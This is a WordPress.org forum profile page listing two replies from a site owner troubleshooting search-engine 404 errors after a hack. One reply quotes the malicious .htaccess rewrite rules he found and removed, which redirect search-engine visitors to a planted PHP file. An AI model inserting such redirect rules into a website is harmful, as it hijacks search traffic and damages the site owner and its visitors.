Title: R.C. Montgomery's Replies | WordPress.org

---

# R.C. Montgomery

  [  ](https://wordpress.org/support/users/conelrad/)

 *   [Profile](https://wordpress.org/support/users/conelrad/)
 *   [Topics Started](https://wordpress.org/support/users/conelrad/topics/)
 *   [Replies Created](https://wordpress.org/support/users/conelrad/replies/)
 *   [Reviews Written](https://wordpress.org/support/users/conelrad/reviews/)
 *   [Topics Replied To](https://wordpress.org/support/users/conelrad/replied-to/)
 *   [Engagements](https://wordpress.org/support/users/conelrad/engagements/)
 *   [Favorites](https://wordpress.org/support/users/conelrad/favorites/)

 Search replies:

## Forum Replies Created

Viewing 2 replies - 1 through 2 (of 2 total)

 *   Forum: [Fixing WordPress](https://wordpress.org/support/forum/how-to-and-troubleshooting/)
   
   In reply to: [Search Engine 404 Errors After Removing Suspicious PHP File](https://wordpress.org/support/topic/search-engine-404-errors-after-removing-suspicious-php-file/)
 *  Thread Starter [R.C. Montgomery](https://wordpress.org/support/users/conelrad/)
 * (@conelrad)
 * [5 years ago](https://wordpress.org/support/topic/search-engine-404-errors-after-removing-suspicious-php-file/#post-14349374)
 * It _appears_ that I may have figured out the solution. As it turns out, there
   was some troublesome code in the .htaccess after all, which was directing search
   engine traffic to “example.php”. I removed the code in question, and now it seems
   to be working correctly (knock on wood), both via search engines and Sucuri site
   check.
 * This was the code I removed from .htaccess:
 * > RewriteBase /
   >  RewriteCond %{HTTP_USER_AGENT} (bing|google|yahoo|msn|aol) [
   > NC,OR] RewriteCond %{HTTP_REFERER} (yahoo|bing|google|msn|aol) RewriteCond %{
   > HTTP_HOST} oldtimeblues\.net RewriteRule . example.php [L,S=10000]
 *   Forum: [Fixing WordPress](https://wordpress.org/support/forum/how-to-and-troubleshooting/)
   
   In reply to: [Search Engine 404 Errors After Removing Suspicious PHP File](https://wordpress.org/support/topic/search-engine-404-errors-after-removing-suspicious-php-file/)
 *  Thread Starter [R.C. Montgomery](https://wordpress.org/support/users/conelrad/)
 * (@conelrad)
 * [5 years ago](https://wordpress.org/support/topic/search-engine-404-errors-after-removing-suspicious-php-file/#post-14349221)
 * To add a little more information, I checked my site with Sucuri’s site checker,
   and it received the same 404 error. I’ve also examined my .htaccess, index.php,
   header and footer.phps, and several other files, and could not find any code 
   that looked suspicious. I’m something of a neophyte on things like this, however,
   so I really don’t know where to look, or what I would have to do to fix this 
   problem.
 * I would be happy to provide any further details that I can, and any assistance
   or advice on this issue would be enormously appreciated.

Viewing 2 replies - 1 through 2 (of 2 total)